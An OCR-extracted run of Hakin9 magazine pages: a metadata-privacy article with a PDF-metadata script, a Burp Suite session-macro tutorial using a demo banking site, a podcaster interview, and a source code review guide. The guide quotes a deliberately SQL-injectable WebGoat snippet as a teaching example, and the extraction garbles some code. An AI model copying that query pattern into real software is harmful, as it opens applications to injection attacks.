Two options can be seen. The first one deletes all possible properties but not to the original photo, it makes a copy in
which it applies those changes. That is, you would have two photographs: the original intact and the copy without meta-
data. The second option allows you to choose which data are the ones that you want to eliminate from all the possible
ones. There are some of them that can’t be removed in any of the two options, such as the image's own data, i.e. name,
extension, date, dimensions, attributes, owner, etc., that is, few data relevant to an attacker. However, the device with

which it was taken and geolocation data can be removed without any problems.

The option chosen for the example was the first. To see the results, the created copy has been analyzed, leaving the fol-

lowing result:

GPS GPSAltitudeRef : 0

Image DateTime : 2017:02:05 15:46:07

GPS GPSProcessingMethod : [65, 83, 67, 73, 73, 0, 0, 0, 71, 80, 83, 0, 0, 0, 0, O,
0,0,0,0, ... ]

EXIF ExiflmageWidth : 4160

Thumbnail YResolution : 72

EXIF SubSecTime : 68

Interoperability InteroperabilityVersion : [48, 49, 48, 48]

GPS GPSDate : 2017:02:05

Image Orientation : Horizontal (normal)

Image YCbCrPositioning : Co-sited

127


https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org

HaRINS

The dapgers of metadata

Ieadngers or metadata

EXIF InteroperabilityOffset : 865
Thumbnail JPEGInterchangeFormat : 1326
EXIF FNumber : 11/5

EXIF ExiflmageLength : 3120

Image ResolutionUnit : Pixels/Inch
Thumbnail YCbCrPositioning : Co-sited
GPS GPSVersionlID : [2, 2, 0, 0]
Thumbnail XResolution : 72

Image GPSInfo : 895

Thumbnail JPEGInterchangeFormatLength : 14375
EXIF ExposureMode : Auto Exposure
Thumbnail Compression : JPEG (old-style)
Image Tag 0x0225 :

ot

Image Tag 0x0224 :
Image Tag 0x0221:
Image Tag 0x0220 :

Image Tag 0x0223 :

© © o ©

Image Tag 0x0222 :
EXIF UserComment : e_mode":"PhotoModule","faces":[]}
EXIF SceneCaptureType : Standard

GPS GPSTimeStamp : [14, 44, 31]

Image ImageDescription :

EXIF DigitalZoomRatio : 1

GPS GPSImgDirectionRef : M

EXIF ColorSpace : SRGB

EXIF FocalLength : 7/2

GPS GPSImgDirection : 222

Image XResolution : 72

EXIF ExposureTime : 661/1000000

Thumbnail ResolutionUnit : Pixels/Inch

Image YResolution : 72

Interoperability InteroperabilityIndex : R98

EXIF ExposureBiasValue : 0

Thumbnail Orientation : Horizontal (normal)

It’s noted, there is no relevant data to give extra information to malicious users, something that did not happen in the
image before removing the metadata. However, it’s not only possible to find metadata in images as we have seen, but

in any file.
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As mentioned above, PDF documents are another metadata extraction point. For this purpose, a script has been made,

again in Python, with which the metadata contained in this type of files will be analyzed and extracted.

In this case, the used library will be pyPdf, as already mentioned before. With it you can encrypt, decrypt, extract infor-
mation and modify the format of PDF documents and, like Exifread, the results are organized in key-value pairs.

For the use of pyPdf the first thing to do is to download it using the pip.exe tool.

IC:\Python2?\Scriptsdpip.exe install pyPdf
Collecting pyPdf

Using cached pyPdf-1.13.tar.gz
Installing collected packages: pyPdf

Running setup.py install for pyPdf ... done
Successfully installed pyPdf-1.13

IC:\Python2?7\Scripts>

Image 9. Installation of the library pyPdf

After that, the script metadataPDF.py is created, which will give you the metadata of the PDF files you are given. It’s
possible thanks to the detectMetaFilePDF function, which uses the PdfFileReader method of the pyPdf library to open
the PDF file passed by the user, as well as getDocumentInfo to obtain its properties, whose organization is established
as a dictionary, that is, a list of key-value pairs. After that, the results are recorded in the file indicated as an argument,
which will also be stored in the results directory.

The part of code belonging to the above description is presented below.
Listing 3

"""This function will analyze the PDF document and it will save the results in the txt

file, both passed as arguments """
def detectMetaFilePDF (file pdf, file results):
try:

#The first step is to open the file
file pdf analized = pyPdf.PdfFileReader (file(file pdf, 'rb'))
#Next, it gets the properties of the file
properties file pdf = file pdf analized.getDocumentInfo ()
if len(properties file pdf) > O:

if not os.path.isdir('results'):
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os.makedirs ('results')

#Now, change the directory

os.chdir('results')

#Then, open the file in that directory

file Meta = open(file results, 'w')

#The properties are printed

for element prop in properties file pdf:
line = "%s : %s\n" % (element prop,

properties file pdf[element prop])

file Meta.write(line)

#At the end, the file is closed

file Meta.close()

print "\n Metadata catched! The results are in the url \"re

sults\\" + file results + "\"\n"
else:

print "There aren't any properties of the file to show you!\n"

except IOError:

print "Error E/S: The file or the url given isn't valid!\n"
except OSError:

print "Error directory: There is a problem handling directories!\n"
except:

print "Unexpected Error!", sys.exc info() [0]
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Now that we’ve explained the steps that the tool will give to get the metadata of images, we will proceed to execute the

script as user.

kKtop\Veronica\metadata\pdf>C:\Python27\python.exe metadataPDF.py documents\grades.pdf results grades.txt

1ts are in the url "results\results

C:\Users\andal\Desktop\Veronica\metadata\pdf>

Image 10. Execution of the script metadataPDF.py

The above image shows the example of a successful execution, since the submitted document had metadata to be ana-
lyzed. They can be found in the file located in the path indicated by the resulting message. The results obtained were

the following for this specific case:

/Subject : None

/Producer : [ClibPDF Library 2.02-r1-2] Linux

/Title : Microsoft Word - grades

/Creator : A ClibPDF program

/Keywords : ClibPDF

/Author : User: Administrador Apache con PHP [admwww]

/CreationDate : D:20161221093049

As it can be seen in the previous example, the most relevant data obtained is the operating system of the machine used
by the user. With this information the attacker is feeding on details about the user with which to attack him, so it
would be important to take precautions, especially if the document is to be uploaded to a website or internet blog or
sent via email. In addition, you can also find the author, title, keywords and subject (among others) that can be added
by the user who created the PDF document, while other properties can be generated automatically. This way, if we
want to upload a document anonymously or make illegal actions, like copying files, for example, it’s important to re-

view what hidden information can be revealed without your knowledge, as it can be used against you.

To eliminate the metadata in this type of file you can make use of the Pro version of Adobe Acrobat. However, if you do
not have it, there are several programs that already do it for various operating systems, such as BeCyPDFMetaEdit for

Windows.

In conclusion, any document, like audios, videos, images or documents, has information that users ignore and, in the

wrong hands, can be harmful to them.

Although many of the most used social networks today are in charge of improving security in this aspect, it would be
important to raise the awareness of users about the dangers of recording the metadata in their files. In this way, if the
user has oversight of a website (for example, sharing a political party's release) leaving the metadata can cause the com-
petition to use it against them. If you send emails with attachments to people in whom you don’t fully trust (for exam-

ple, sending the statement of a teacher's work to his students may cause that resentful student to extract information
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to use against the teacher), or make anonymous complaints through the network or share images, for example, the
user shouldn’t worry if he takes precautionary measures before using the files, such as disabling GPS on internet de-

vices before taking pictures or removing metadata from files.

132


https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org




-
glnsermg/ alware An‘/a
7 j
can be reached on: twitter: @Samrat_Da

profile: https://in.linkedin.com/in/samrat18



https://in.linkedin.com/in/samrat18
https://in.linkedin.com/in/samrat18

HaRINS

Harnessing the lesser known “Burp macros” for Penetration Testing Web Apps

Introduction

In my penetration testing career so far, while performing fuzzing of parameters and page field in web applications, I

did encounter some challenges relating to session handling.

In multiple cases, the application used to terminate the session being used for testing, this either happened due to
some security countermeasures (for example: getting unsafe input, the session used to get logged out) or in other

cases, say the Burp spider/ crawler used to fuzz the logout page parameters and terminate the session.

In such cases, further scans, probes and requests become unproductive, since you have to perform a re login and re-

establish the session of the application.

I used to do this manually and it was a bit cumbersome. While trying to find a work around, I was going through the

Burp Suite functions and based on my curiosity, I noticed Burp's session handling functionality.

After probing around the options, I came to the idea backed by some online research that Burp takes care of the above

challenges with some rule based macros.

In simple words, say if fuzzing parameters leads to termination of session, Burp can auto login the app with the creden-

tials, and continue scanning and crawling itself.

I am sure experienced testers already know this. However, for the newbies and the yet to learn people, I wrote this
short tutorial which will give a step by step of how to use Burp's session handling rules to ensure you remain logged in

to an application when using Burp Spider or Scanner.
Things needed:
= ] used Burp’s latest version (1.7.21 free)

= Any website that has session handling (I am showing using the classic demo.testfire.net)

Step 1:

This is the website I am showing which has a login feature:
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Online Banking Login

Step 2:

At this point, I am simply keeping the interception off in Burp Suite and putting the credentials here to perform a

login.
+ - o
YT re—— . i T EEEEREEE =
et T
v "2
h AR ONLY
i MLIME DA 1M FIRYONAL PMALL UMD 1M ALTORD TV

Step 3:

Here we enter the logged in page of the website:
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Hello Admin User
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Step 4:

Now, in order to test the session handling, we can send this page request to Burp’s repeater tab and by removing the
cookies have a look if the session is terminated due to session breaking.

ety

Step 5:

We can see that the page session is working since we have a proper session. Let’s try to remove the cookies and test
again.
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v  Gepewe

Step 6:

As we can see, the session gets logged out and we need to log back in again to continue testing.

o | Smpester
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Step 7:
Now comes to the rescue - Burp Macros.

Navigate to: Project Options -> Sessions -> Session Handling Rules

roreder | Sapese wauencw | Decaow vow | Losce | Mo sgtess | Uee

Step 8:
Here we can see that there is a default rule — Use cookies from Burp’s cookie jar.

Step 9:
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Click add button to create a new rule.

O SAAAONE YACH

Step 10:

Put a rule description that suits you and under rule actions, select “Check session is valid”.

T

Step 11:

Once you click OK, the session handling editor will fire up which will show the default: Issue current request. Leave as

it is and scroll down to “if session is invalid, perform the following action”.
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Step 12:

Tick the if session invalid and click on add macro. At this point, you will get a Macro Recorder which has all the proxy

history. Click and select the page which has the login credentials and performs a login. Click OK.
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Step 13:

Once you click OK, the Macro editor will fire up and you can name it with a custom name, as well as have options to

simulate the macro, re-record, re-analyse.

Step 14:

Before running a test, configure the parameters to identify if Burp has captured the test parameters correctly.
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Step 15:
Since here all is set, we can perform a run of test macro post, click OK.
Step 16:

Now click on final scope and set the URL Scope to all urls / suite scope/ custom scope to guide the macro where to

run.

Step 17:

I leave it include all URLs here. Let’s now head over to repeater again to test our macro.
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Step 18:

Take a look, we are trying to access the main page without cookies in repeater tab:

Step 19:

Once we hit go, the cookies will automatically get added to the request and the page will load up!

.......
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So that’s it. It’s a sweet and simple way to show how Burp is useful for creating session based rules and macros. You

can explore it further by using cookie jar/ Burp extender and lots of other options! Happy experimenting!
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[Hakin9]: Hello Michael, how are you? Can you tell

our readers something about yourself?
[Michael Kennedy]: Hi, thanks for having me.

I'm a highly passionate software developer and entre-
preneur from Portland, OR. For the past 10 years I've

been teaching other developers the ins-and-outs of sev-

& | really enjoy the program-

ming language, ecosys-

tem, and especially the
community. Python developers love Python and are
very open and welcoming group. That makes for a

great place to hang out professionally.

[H9]: You are the creator of Talk Python to Me pod-

cast, can you tell us something about this project?

[MK]: Talk Python To Me is a podcast | launched in April
2015. Right now we are just about to pass the one year

mark. It's been an incredibly rewarding endeavor.

When | launched it, | was happy with the first few epi-
sodes but there were two things | was really nervous
about as | pushed 'publish' the first time. One, that no-
body would care. | would do all this work and nobody
would subscribe. Second, that people would be highly
critical and more than happy to let me know how | was

ignorant about this or that.

Neither of these happened. | received an outpouring of
support and encouragement. It was really gratifying
and gave me the dedication needed to keep releasing

an episode every week since then.

Today, I've recorded over 50 episodes. I've interviewed
some amazing guests (more on that later). The epi-
sodes have been downloaded over 1,000,000 times.
Readers can listen to all the episodes at

https://talkpython.fm.

A month ago or so, | decided to make a career change
and focus entirely on this project. | left my full time posi-
tion to make sure | have the time and energy needed

to continue to grow the podcast.

Next, | launched an online training company called Talk

Python Training ( https://training.talkpython.fm/ ) to fo-

cus on providing technical training resources for devel-
opers like my listeners. That's been going really well so

far too.

One thing your readers might be interested in is how |
did that. When you think starting a business there's the
usual considerations: Will people want it? Is there a mar-

ket? Can | attract enough people who will pay for it?

Of course, | had the same concerns and challenges
here. But rather than spend months creating the com-
pany, writing and recording courses, and then hoping
people like it, | launched it via a Kickstarter campaign (

http://wp.me/p2eT73-tT ).

The response was awesome. The Kickstarter was

funded in 12 hours and currently is at 900% and grow-
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ing. It let me discover that | was really on to something
and it only took a few days to verify that. That's worked
really well for me and the potential students who get a
discount for backing the project early. | encourage read-

ers to consider it for what they're dreaming about.

You can see more about the Kickstarter at

https://www.kickstarter.com/projects/mikeckennedy/pyt

hon-jumpstart-by-building-10-apps-video-course

[H9]: Tell us more about your Kickstarter campaign?

What is the project about?

[MK]: There is what the project is about for the stu-
dents who find it via Kickstarter and other organic
means. What it is for my podcast listeners. And what it

is for me and my goal to launch this online training com-

pany.

The project itself is about creating an uncommon type
of training course for Python developers. It's focused on
people who are pretty new to Python and program-
ming. The lessons or chapters try to teach program-
ming the way real programmers learn (by building
apps) but without skimping on the comprehensive na-
ture of covering the language details. The course is
called Python Jumpstart by Building 10 Apps. That's
what the Kickstarter rewards are promising, for the

most part, and what the students get.

But to many of the podcast listeners, they are using this
as a chance to say thanks for the podcast in addition to
taking a course. I've gotten many messages from back-

ers saying things like

“I'm so happy you started the podcast. | enjoy my day
to day programming much more since | started listen-

ing. So | decided to back your course.”

They may not really need to course, but it's a tangible
way to pay it forward for them. | really appreciate these

guys and girls.

For me personally, | saw the Kickstarter from the begin
ning as a way to launch something much bigger than
just one course. | laid out the plan in my blog post and
on the podcast but basically I've dedicated myself to

spending the next two years building approximately 20

Python related courses on topics from Web Develop
ment, Entrepreneurship (Launch your business with Py-
thon), Data Science, NoSQL, and more. This first course
in the Kickstarter is really the foundational one for all
the courses that follow. The beginning seemed like a

good place to start in terms of course authoring.

I'd say on all three levels, it's a success. | should deliver
the course no later than 2 weeks after the Kickstarter
closes (when it funds at 900% it inspires you to start

early!).

Then I'm thinking, why not another Kickstarter for the

next course? The students benefit because they get

early access and 50% off the list price. | benefit be
cause it let's me collect feedback right away rather than

when it's fully recorded and super hard to change.

If this resonates with you, | encourage you to check out

the documentary on Kickstarter (which itself was funded

149


https://www.kickstarter.com/projects/mikeckennedy/python-jumpstart-by-building-10-apps-video-course
https://www.kickstarter.com/projects/mikeckennedy/python-jumpstart-by-building-10-apps-video-course
https://www.kickstarter.com/projects/mikeckennedy/python-jumpstart-by-building-10-apps-video-course
https://www.kickstarter.com/projects/mikeckennedy/python-jumpstart-by-building-10-apps-video-course
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org

HaRINS

Michael Kennedy, the creator of Talk Python To Me Podcast

on Kickstarter of course) called Capital C:

http://www.capitalc-movie.com/

[H9]: Why did you decide to start this project? And

the most importantly, why Python?

[MK]: | had wanted to started a podcast for years, but
the areas | felt qualified were really crowded. If | was
going to create a podcast and attract listeners, | felt |

needed to have a thing that is special about my show.

As | got into Python more and more, | went in search of
several podcasts | could listen to and help broaden my
knowledge. To my disbelief, there were literally zero ac-
tive podcasts for the Python community at large. There
were some more narrowly focused ones such as Django
(@ web framework in Python) but nothing for Python in

general.

There had been approximately six general Python pod-
casts, but none of them had released an episode for

over a year. To be honest, | was dumbfounded.

Python developers are such a large and diverse group,
how could they not have a podcast? Could | just not
find it? If you look at the TIOBE index which tracks pro-

gramming language usage

(http://www.tiobe.com/tiobe_index ), Python had been
#8 on the list in 2015 and jumped to #5 in 2016. That's
more popular than PHP or Ruby. Yet, there were literally

no podcasts for this group.

| remember one Friday afternoon in March 2015, | just

decided "Right, I'm doing it".

That evening when my kids and wife went to bed, |
grabbed my laptop and just started working on it. Over
that weekend, | fleshed out the idea, list of show top-
ics, built a custom-designed website with all the CMS /
RSS requirements | would need to be successful,
bought the domain name, setup hosting, everything.
Then, | started scheduling guests and crossed my fin-

gers.

It was really a great example of a the concept that inspi-
ration is both a superpower and yet perishable. | love

this quote from Jason Fried (cofounder of 37Signals):

Inspiration is like picking up one of those blinky things
in a video game that makes you invincible for awhile.
You can do anything, go anywhere, and you don't have

to worry about it.

Jason Fried

(https://signalvnoise.com/posts/7 2-inspiration-is-magic

)

That was me on that weekend in March 2015.

)

talk python to me
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[H9]: How long did that last? And what happened

next?

[MK]: That really was something like 3 days (Friday, Sat-
urday, and Sunday). | went from idea to what you see at

https://talkpython.fm in a mad flurry of creation. | have

polished the website and whatnot continuously but it's

surprisingly similar to the original.

What | didn’t have were guests or recordings. | did one
“intro to the show, episode 0" recording but that was
only 3 minutes or so. | started inviting guests and doing
recordings. | wasn’t great at the beginning but every
time | get a little better. | think it was about 10 days un-

til | released my

first episode.

Talk Python
N
5
7K

To Me

That was a nerv-
ous day, but the
response has

been great.

[H9]: Do you
find it hard
sometimes to talk about strictly technical stuff and

keep it from disrupting the flow of the podcast?

[MK]: Not really. | think it's important to humanize tech-
nology, to tell the story of technology. When | interview
people | try to weave the technical bits into the story
and well as draw out specific stories around the techni-
cal decisions. If you just present something as polished

and sterile facts such as

"here's the api, first you call x, then y, then you get z"

That's pretty dull and over an audio format it's deadly
(to attention). On the other hand, if you can humanize
code, it can be great. The same info could be dis-

cussed something like:

"First you call x, then y. We tried this other way but dur-
ing the cyber monday crunch we found it didn't scale.
The website crashed. We lost $2 mill in revenue and
had to stay up for 36 hours rewriting it. So now we call
y, and it works great. I'll never make that mistake

again.”
That's worth listening to and sharing with your friends.

[H9]: Can you tell us something about your guests?

How do you choose them?

[MK]: The guests have been amazing. I've really en-
joyed speaking to each and every one of them and I've

learned a ton from those conversations.

There are a few guests who | invited to the show be-
cause they are making a dent in the (Python) universe.
But I'm always on the lookout for a good story. | think
that is way more important than name recognition. If
you can get both, even better. But story trumps popu-

larity in my book.

[H9]: Can you tell us about the most interesting con-

versation you had?

[MK]: It's really hard to pick just one. Let me give you

three, they are each special for their own reason.
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Justin Seitz and | spoke about Python Cybersecurity
and Penetration Testing

(https://talkpython.fm/episodes/show/37/python-cyber

security-and-penetration-testing ). | think this conversa-

tion is really relevant to your readers and it gave me a
chance to peer into a world that is very different than
most software developers get to see. Justin and | had a
lot of fun and | learned a bunch from it. Although I'm a
little concerned about connecting to the Internet after

this chat!

| spoke with Kyle Cranmer from the Large Hadron Col-
lider at CERN about how they are using Python and its
role in discovering the Higgs Boson (a discovery which
won the Pls on there the Nobel Prize). The chance to
geek out with someone like Kyle was really an honor
and | thoroughly enjoyed it.

(https://talkpython.fm/episodes/show/29/python-at-the

-large-hadron-collider-and-cern )

Leah Culver and | discussed Investing and building start-
ups with Python. She has founded at least 3 companies
and had amazing stories to share with the listeners. (

https://talkpython.fm/episodes/show/42/python-in-start

ups-and-investing )

[H9]: Do you have a favorite episode? The one that

you are particularly proud of?

[MK]: Every time | think | do have a favorite, I'm sur-
prised by another one. However, the three listed above

are definitely candidates.

[H9]: Any unusual or embarrassing experience you

had during the podcast?

[MK]: Surprisingly, not really. I've definitely asked some
stupid questions or missed a chance to follow a really
interesting thread because I'm thinking too much about

where the conversation might go rather than just listen-

ing.

I'd say the stuff that is embarrassing really is more low-
grade fumbling over words and such. But | edit that

stuff out.

[H9]: You've committed one of your episodes en-
tirely to Python in penetration testing. Is security a

topic that comes up more often?

[MK]: It has come up a few times. I'm glad | did the
show. It wasn't my idea but rather was suggested (on
twitter) by a few listeners. | think it opened a lot of peo-
ple's eyes to the reality of it. One of the more memora-

ble pieces of user feedback was this tweet:

Andy Gherna
' Stop it . 1) You keep adding to my reading backleg. 2) |

will never use the internet again after this last episode

(https://twitter.com/argherna/status/674599616210407

425)

[H9]: What about the audience? Does their feedback

influence your podcast?
[MK]: The audience is hugely important.

First of all, the effort to produce the show is non-trivial.

I'd say it's about 5-7 hours per episode of work. Usually
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I'm excited to do it. But some weeks, I'm busy, tired,
have deadlines, etc. Knowing listeners really appreciate
the show helps me power through the lulls (not that

there are many).

| would say about half the topics and guests on the
show are direct listener recommendations including

two of the three "favorites" | listed above.

[H9]: Were you surprised about some aspects of the

community that formed around the podcast?
[MK]: Oh yes. | still am surprised weekly.

My background has been in Mathematics and pure
computer programming fields. Python is used in all
kinds of areas to help people do other jobs. Everytime |
do a show with someone from that other area, | gain

listeners that | would otherwise uninteresting to.

After the LHC / CERN episode, | had a ton of profes-
sions, astrophysicists, and biologists subscribe and still

listen today.

After the data science shows #31 (scikit-learn) and #40
(top 10 data science stories of 2015), many data scien-

tists started tuning in.

And of course, after Justin Seitz's episode a bunch of

folks from the computer security space started listen-

ing.

The exposure to all these groups has been really awe-

some for the show and for me.

[H9]: Do you have any advice for people who want

to start their own podcasts? What should they do?

[MK]: Definitely. | would say do a few days of research
and find a topic area. Then just go for it. You don't
have to have it all planned out. Don't worry about your
100th episode. Do 10 and the listeners will let you

know where to go.

Don't worry about sponsorships or monetization. One
of two things will happen. Either it'll be popular and
there are many obvious options or it won't be popular
and it won't matter what you had in mind anyway. That
said, podcasts are increasingly viable as businesses in

their own right.

As for topics, | would strongly recommend you start fo-
cused and go broader over time. For example (guess-

ing at your readers' interests but not perfect examples):
Pen testing is better than security in general

Security in Python is better than computer security in

general

Had | decide that a "software developer podcast” had
a much larger audience than Python-only developer
podcast (which is true), | would have been drowned out
in a sea of 100's of dev podcasts. But because | was the
only Python dev podcast (at the time), | quickly found a

passionate listenership.
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This "niching down" concept is a little counterintuitive, but we live in an overabundance of information and a scarcity

of attention. You win that attention by being just what people are looking for.

Get a good microphone - it makes a big difference. | use a Yeti Pro but have also heard good things about the Rode

Podcaster.

Finally, if you start a podcast it will change your career. You will make connections and have conversations you never

dreamed of. It's really rewarding.
[H9]: Do you have any thoughts or experiences you would like to share with our audience? Any good advice?

[MK]: Get inspired and harness that inspiration for all it's worth. If you are really inspired and act upon it, you can cre-

ate something amazing in a really short time. If you put it off, it'll expire.

Start small and focused. You don't have to change the world all at once. I've heard the story over and over from my
guests. They started some small thing that was cool. It grew and opened new doors. They kept leveling up. Now

they are doing amazing things like particle physics, startups, hugely successful open source companies and more.
[H9]: Thank you!

It's been my pleasure.

Talk Python to Me is a weekly podcast hosted by Michael Kennedy. The show covers a wide array of Python
topics as well as many related topics (e.g. MongoDB, AngularJS, DevOps). The format is a casual 30 minute

conversation with industry experts.

Listen to Talk Python To Me Podcast

Talk Python Training: https://training.talkpython.fm/

0000
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Source Code review

Introduction

Source Code review is a process which discovers hidden vulnerabilities, design flaws, and verifies if key security con-
trols are implemented. Code review helps developers learn the code base, as well as help them learn new technologies

and techniques that grow their skill sets.

In source code review, we are using a combination of scanning tools and manual review to detect insecure coding prac-

tices, backdoor, injection flaws, cross site scripting errors, insecure handling of resources, weak cryptography, etc.

Security Processes in the SDLC

) oot o [ s )
1 Izl B

Many claim that this process is time consuming and too costly, but there is no doubt that this process is the fastest and

most accurate way to find and diagnose many problems, mostly your code is the base from which hackers are taking
advantage. There are dozens of security problems that simply can’t be found any other way. A source code review is
also the best way to detect intentional or accidental backdoors and logic bombs in applications that you acquire from
third parties or develop in house. Certain security standards (such as OCI DSS) demand that a source code review is

conducted prior to production usage of software to identify the potential coding vulnerabilities.

Why the need to conduct a Source Code Review

A code review can reveal issues such as common bugs, thread synchronization, dealing with error conditions, correct
accounting for reference-counting and other potential resource leaks, security problems, and ensuring that unit tests

cover all code paths, error cases, and limit cases.
» Testing is carried out by application security experts in various application technologies and platforms.

» Following industry best practices and guidelines such as the web application security project (OWASP), the
Web Application Security Consortium (WASC) and open source security testing methodology manual
(OSSTMM)

» High emphasis on manual verification along with automated tools (open source and commercial) based testing.

» Vulnerability correlation facilitates in verification of automated and manually identified vulnerabilities and

eliminating false positive.
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Focus of a Secure Code Review

A secure code review focuses on seven security mechanisms. An application that is weak in any area already makes it-

self a target for a hacker. These seven security mechanisms are:
1. Authentication
2. Authorization
3. Session management
4. Data validation
5. Error handling
6. Logging
7. Encryption

Manual vs. Automated Source Code Review

Manual Code Review Pros:
» In a manual review, the reviewer reads each and every line of the code and analyzes it for potential flaws.
» Security issues like Authentication, Authorization and session management can be better detected manually.
» Ability to deep dive into the code paths to check for logical errors and flaws in the design.

Manual Code Review Cons:

» Requires an expert of both the languages and the frameworks used in the app, as well as a deep knowledge of

security.

» Manual testing is not consistent. Different reviewers will produce different reports, resulting in inconsistent

findings between reviewers.
» It is a time consuming process.
Automated Code Review Pros:
» Automated tools finish a lot faster than manual testing, by orders of magnitude.

» Automated tools are automatically updated with the newest exploits.
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» Depending on tool choice, an automated source code review tool can be customized per organizational needs,

especially certain compliance standards, and for high-value applications.
Automated Code Review Cons:

» Automated tools cannot test for business logic flaws; they hunt the technical flaws only - and the more common

ones, at that.

» On the other hand, automated tools will only get updated once every while, but a human can learn about a

spanking new technique and implement it the very next day.

» Automated tools usually include a very high percentage of false positives (from 30% to over 90%, depending on

the methodology and choice of product).

Three-Phase Code Analysis

» Phase 1 — Run all available code-analysis tools. Multiple tools should be used to offset tool biases and mini-
mize false positives and false negatives. Analysts should pay attention to every warning or error. Warnings
from multiple tools may indicate that the code that needs closer scrutiny (e.g. manual analysis). Code should be

evaluated early, preferable with each build, and re-evaluated at every milestone.

» Phase 2 — Look for common vulnerability patterns. Analysts should make sure that code reviews cover the
most common vulnerabilities and weaknesses, such as integer arithmetic issues, buffer overruns, SQL injec-
tion, and cross-site scripting (XSS). Sources for such common vulnerabilities and weaknesses include the Com-
mon Vulnerabilities and Exposures (CVE) and Common Weaknesses Enumeration (CWE) databases, main-
tained by the MITRE Corporation and accessible at: http://cve.mitre.org/cve/ and http://cwe.mitre.org/ — MI-
TRE, in cooperation with the SANS Institute, also maintains a list of the “Top 25 Most Dangerous Program-
ming Errors” (http://cwe.mitre.org/top25/index.html) that can lead to serious vulnerabilities. Static code

analysis tools and manual techniques should, at a minimum, address these Top 25.

» Phase 3 — Dig deep into risky code. Analysts should also use manual analysis (e.g. code inspection) to more
thoroughly evaluate any risky code that has been identified based on the attack surface, or based on the heuris-
tics below. Such code review should start at the entry point for each module under review and should trace data

flow through the system, evaluating the data, how it’s used, and if security objectives might be compromised.

Tips to better Source Code Review:

» Use Checklist: It's very likely that each person on your team makes the same 10 mistakes over and over.
Omissions, in particular, are the hardest defects to find because it”s difficult to review something that isn”t
there. Checklists are the most effective way to eliminate frequently made errors and to combat the challenges of

omission finding.
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» Practice lightweight code reviews: To fully optimize your team’s time and to effectively measure its re-
sults, a lightweight, tool-assisted process is recommended. According to the study, lightweight code review
takes less than 20% the time of formal reviews and finds just as many bugs! Formal, or heavyweight, inspection
averages nine hours per 200 LOC (Line of Code). While often effective, this rigid process requires up to six par-

ticipants and hours of meetings, paging through detailed code printouts.

» Highlight issues in the code: Never force software developers to change the code written by them. It may
hurt their ego and they may repeat the same mistake if they do not understand the reason behind code change

recommendation. Highlight the issues in the existing code and its consequences.

» Do a few things offline: Instead of explaining the entire solution to developers during the code review proc-
ess, simply share the links of relevant websites or encourage them to research on the internet by providing key-
words. This action would certainly save the code reviewer’s time and energy. And of course, developers would

also like it, since they too need some time to assimilate the proposed solution.

» Always be patient and relook if required: Sometimes, developers do not accept suggestions/
recommendation and keep debating. A code reviewer many not know the exact context and challenges, when
the code was written. A code reviewer should understand all the points being made by the developer without
losing patience. Furthermore, to make the point crystal clear, a code reviewer can explain the points on paper
or on a whiteboard by comparing the developer’s approach vs. code reviewer’s approach. Every approach has

its pros and cons, so you need to choose the right approach, whichever weighs more after careful evaluation.

» Explain the need for best coding practice: Generally, software developers mention that best coding prac-
tices are not followed due to tight project schedules. Developers may feel that it is an acceptable practice. How-
ever, code reviewers should educate software developers that as the code size increases, or after some time, the
application becomes very difficult to maintain. Moreover, if a client verifies the code then poor quality code
may give the wrong impression on the team’s/organization’s quality standards. It may also impact awarding

new projects or referring an organization to prospective clients.

» Document all code review comments: Document all code review comments in an email, Word document,
Excel, or any standard tool used by the organization. Making a mistake for the first time is acceptable, but it is
not a good sign to repeat the same mistake. The code review document helps software developers to cross check
the highlighted issues and avoid making similar mistakes in future. Additionally, maintaining a code review

document is a mandatory part of the Capability Maturity Model Integration (CMMI) level process.

» Establish a process for fixing defects found: The best way to ensure that defects are fixed is to use a col-
laborative code review tool that allows reviewers to log bugs, discuss them with the author, and approve
changes in the code. Without an automated tool, bugs found in review likely aren’t logged in the team”s usual

defect tracking system because they are found before code is released to QA.
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» Find vulnerabilities in context of the application: Not only should you pick up real and applicable vul-
nerabilities in the context of the application — as it decreases the number of issues — but also, you should pro-
pose the countermeasures in the report. That makes developers happy and confident. The scanner may flag any
issue as High, Medium or Low. It’s your responsibility to give them appropriate ranking based on the applica-

tion’s context.

» Train them: Last but not least, train developers about the vulnerabilities in the real world. Give them train-
ing, involve them and encourage them to review their code before production. Tell them how it saves effort and
money. If you have a scanning tool that supports plug-ins for IDE, install it at their machines so that they can

do proper development and a hand by hand review.
A Sample Illustration:
Consider this example (Owasp WebGoat Project):

A\W /4

String username = ;

\\ 7/

String password = ;

username = s.getParser () .getRawParameter (USERNAME) ;

password = s.getParser () .getRawParameter (PASSWORD) ;

”

String gquery = YSELECT * FROM user system data WHERE user name = "

+ username + “' and password = 7 4 password + N \//;

ec.addElement (new StringElement (query)) ;

The inputs from the user are requested through getRawParameter, and assigned to the ‘username’ and ‘password’ vari-

ables. Again, they are being used directly in the SQL query without any input validation and also being embedded into
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the dynamic query. Any malicious user can tamper with this query to run his own arbitrary SQL codes. So if we try to
find all the entry points into the codebase (getRawParameter in this case), we may detect injection flaws. Even if we
search for SQL queries being used in the code, if we find that they are being used as dynamic queries, they may be a

case of a possible SQL injection.

DOCUMENTATION OF RESULTS

If weaknesses are discovered in the source code, then they usually need to be documented. The documentation serves

as a basis for the correction and addressing of the discoveries.

It is important that the affected parts of code are referenced as exactly as possible. Ideally, the following data points

are used:

Data Point Example
Software Name abcv 2.0

File Name Post.php
Function Name createNewPost()
Code Lines Lines 23-42

In addition to that, you could retype the entire code block directly so that a check and referencing is made even easier.

Further information concerning the weakness (classification, description, scenario of attack, example of exploit) adds
additional quality to the report. Ideally, there’s even a suggestion for a countermeasure. And even more ideally, that
countermeasure can be expressed in functional code, because then you're presenting a solution that is as viable as it

gets.

Limitations of a Secure Code Review:

A secure code review is not a silver bullet and performing such a review does not mean that every instance of a security
flaw will be discovered. Rather it is one of many different types of activities that can help increase the quality of an ap-

plication and reduce the number vulnerabilities in software, making it more difficult for a malicious user to exploit.

Open Source or Free Tools of This Type (Reference: OWASP Source Code Analysis Tools)

» Brakeman - Brakeman is an open source vulnerability scanner specifically designed for Ruby on Rails applica-

tions.

» Codesake Dawn - Codesake Dawn is an open source security source code analyzer designed for Sinatra, Padrino

for Ruby on Rails applications. It also works on non-web applications written in Ruby.

» FindBugs - Find Bugs (including a few security flaws) in Java programs.
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» FindSecBugs - A security specific plugin for FindBugs that significantly improves FindBug's ability to find secu-

